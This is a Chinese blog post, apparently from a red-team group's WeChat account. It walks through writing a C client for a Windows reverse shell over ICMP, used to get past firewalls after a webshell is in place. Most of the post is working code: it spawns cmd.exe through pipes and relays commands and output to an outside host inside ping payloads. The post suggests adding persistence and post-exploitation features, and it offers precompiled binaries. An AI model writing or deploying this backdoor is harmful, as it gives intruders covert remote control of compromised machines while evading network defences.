C语言写另类绕墙弹shell之ICMP协议(下)
2022-8-2 16:54:40 Author: 蓝极战队(查看原文) 阅读量:9 收藏

千呼万唤始出来~~~

从上一篇ICMP协议弹shell的server开发文章后,团队抽空打了几场小比赛,做了几个小Hvv,直到今天才抽空继续把client带给大家。

上篇文章地址:C语言写另类绕墙弹shell之ICMP协议(上)

上一篇文章很多小伙伴没明白为什么要用ICMP协议,这么做的目的是什么,这里我解答一下。

比如一个资产对外出口,只开放了一个80web的端口,即便你拿下了webshell,但是想要弹shell或者其他交互,你都需要在标靶上开通一个端口来跟你进行通信,但是出口只放了一个正在使用的端口,这个时候,ICMP通信就起到作用了。很多时候,很多资产是不会去主动禁用ICMP的,也就是我们所谓的禁ping,那么我们使用ICMP协议就能够不开通任何其他端口的情况下进行数据交互了。这样也是绕过安全策略通信的一种灰常灰常有效滴方法!

废话不多说,开始今天的client的编写,同样是使用C语言。

首先写任何程序之前,逻辑我们先梳理清楚。

1、需要把shell交互过来,肯定是要先建立一个shell的管道;

2、构建ICMP的文件、通道、缓冲区等等;

3、循环发送shell管道数据和接收sever指令数据直到接收到结束指令。

0x01 首先需要加载几个windows的系统函数

int load_deps(){  HMODULE lib;    lib = LoadLibraryA("ws2_32.dll");  if (lib != NULL) {        to_ip = GetProcAddress(lib, "inet_addr");        if (!to_ip) {               return 0;        }    }
lib = LoadLibraryA("iphlpapi.dll"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } }
lib = LoadLibraryA("ICMP.DLL"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } printf("无法加载函数 (%u)", GetLastError());
return 0;}

这里用到了三个dll,里面API函数具体是干什么的可以自行去查文档,这里就不详细说明了。

0x02 创建shell的通信管道

SECURITY_ATTRIBUTES sattr;STARTUPINFOA si;HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));memset(pi, 0x00, sizeof(PROCESS_INFORMATION));memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED;}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED;}

注意,这里是创建一个跟cmd通信的管道,不是跟server的ICMP通讯

0x03 创建流程,这里直接调用CMD

memset(&si, 0x00, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO); si.hStdError = out_write;si.hStdOutput = out_write;si.hStdInput = in_read;si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { return STATUS_PROCESS_NOT_CREATED;}
CloseHandle(out_write);CloseHandle(in_read);
return STATUS_OK;

用通俗的话说,就是打开一个cmd然后建立管道和他进行数据通信。

0x04 写个函数来处理ICMP的数据

int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout){  int rs;  char *temp_in_buf;  int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); if (!temp_in_buf) { return TRANSFER_FAILURE; }
//将数据发送到远程主机 rs = icmp_send( icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf, max_in_data_size + ICMP_HEADERS_SIZE, timeout);
//检查接收到的数据 if (rs > 0) { echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; if (echo_reply->DataSize > max_in_data_size) { nbytes = max_in_data_size; } else { nbytes = echo_reply->DataSize; } memcpy(in_buf, echo_reply->Data, nbytes); *in_buf_size = nbytes;
free(temp_in_buf); return TRANSFER_SUCCESS; }
free(temp_in_buf);
return TRANSFER_FAILURE;}

正常的ICMP数据,就是我们说的ping包,需要我们对接收发送的数据进行自定义处理,才能达到我们自定义数据交互的目的,所以单独用一个函数来处理这些数据。

0x05 开始写main函数

//创建icmp通道create_icmp_channel(&icmp_chan);if (icmp_chan == INVALID_HANDLE_VALUE) {  printf("无法创建ICMP文件:%u\n", GetLastError());  return -1;}
//分配传输缓冲区in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);if (!in_buf || !out_buf) { printf("无法为传输缓冲区分配内存\n"); return -1;}memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);

首先肯定是创建ICMP通道,然后分配缓冲区。

接着用do while循环创建一个发送和接收的回路

blanks = 0;  do {
switch(status) { case STATUS_SINGLE: //用静态字符串答复 out_buf_size = sprintf(out_buf, "Test1234\n"); break; case STATUS_PROCESS_NOT_CREATED: //回复错误消息 out_buf_size = sprintf(out_buf, "未创建进程\n"); break; default: //通过管道从过程中读取数据 out_buf_size = 0; if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (out_buf_size > 0) { out_buf_size = 0; rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); if (!rs && GetLastError() != ERROR_IO_PENDING) { out_buf_size = sprintf(out_buf, "错误:ReadFile %i 失败\n", GetLastError()); } } } else { out_buf_size = sprintf(out_buf, "错误:PeekNamedPipe %i 失败\n", GetLastError()); } break; }
//发送请求/接收响应 if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (status == STATUS_OK) { //将响应中的数据写入管道 WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); } blanks = 0; } else { //未收到回复或出现错误 blanks++; }
//在请求之间等待 Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);

至此,核心的逻辑代码我们就编写完成了,至于一些更友好的参数交互方式等等,大家根据个人需求可以自行拓展。

这里举个例子,比如写一个参数交互。

先写一个使用方法的说明

void usage(char *path){  printf("%s [选项] -t 目标\n", path);  printf("选项:\n");  printf("  -h                 帮助\n");  printf("  -t 主机地址        发送ping请求的主机ip地址\n");  printf("  -r                 发送单个测试icmp请求,然后退出\n");  printf("  -d 毫秒            请求之间的延迟(毫秒) (默认值为 %u)\n", DEFAULT_DELAY);  printf("  -o 毫秒            超时(毫秒)\n");  printf("  -b 响应数          最大未响应数(未响应的icmp请求)\n");    printf("                     达到最大未响应数则退出\n");  printf("  -s 字节数           最大数据缓冲区大小(以字节为单位)(默认值为64字节)\n\n", DEFAULT_MAX_DATA_SIZE);  printf("为了提高速度,降低请求之间的延迟(-d)或\n");    printf("增加数据缓冲区的大小(-s)\n");}

然后在main函数里面判断参数是否为空或者合法

for (opt = 1; opt < argc; opt++) {  if (argv[opt][0] == '-') {    switch(argv[opt][1]) {      case 'h':        usage(*argv);        return 0;      case 't':        if (opt + 1 < argc) {          target = argv[opt + 1];        }        break;      case 'd':        if (opt + 1 < argc) {          delay = atol(argv[opt + 1]);        }        break;      case 'o':        if (opt + 1 < argc) {          timeout = atol(argv[opt + 1]);        }        break;      case 'r':        status = STATUS_SINGLE;        break;      case 'b':        if (opt + 1 < argc) {          max_blanks = atol(argv[opt + 1]);        }        break;      case 's':        if (opt + 1 < argc) {          max_data_size = atol(argv[opt + 1]);        }        break;      default:        printf("无法识别的选项 -%c\n", argv[1][0]);        usage(*argv);        return -1;    }  }}

这些功能大家都可以继续进行拓展,例如一些潜伏控制啊,后渗透等等等等的功能~~~~~

------可爱的分割线------

打包一个成品送给大家。

编译了win32和win64的client,server我只编译了amd64的linux,至于需要32位或者arm的,可以自行编译。

具体演示可以看上篇~~

关注本公众号,回复 ICMP 即可获取下载连接 (●'◡'●)


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMDMyOTA1OA==&mid=2247484016&idx=1&sn=96c4ad06702e46ef75a7843565f70a46&chksm=c044f97df733706b7705246c0a6dfa2c3a4ac64fb3281d32f045bf1d27c6ab0d46abf7638661#rd
如有侵权请联系:admin#unsafe.sh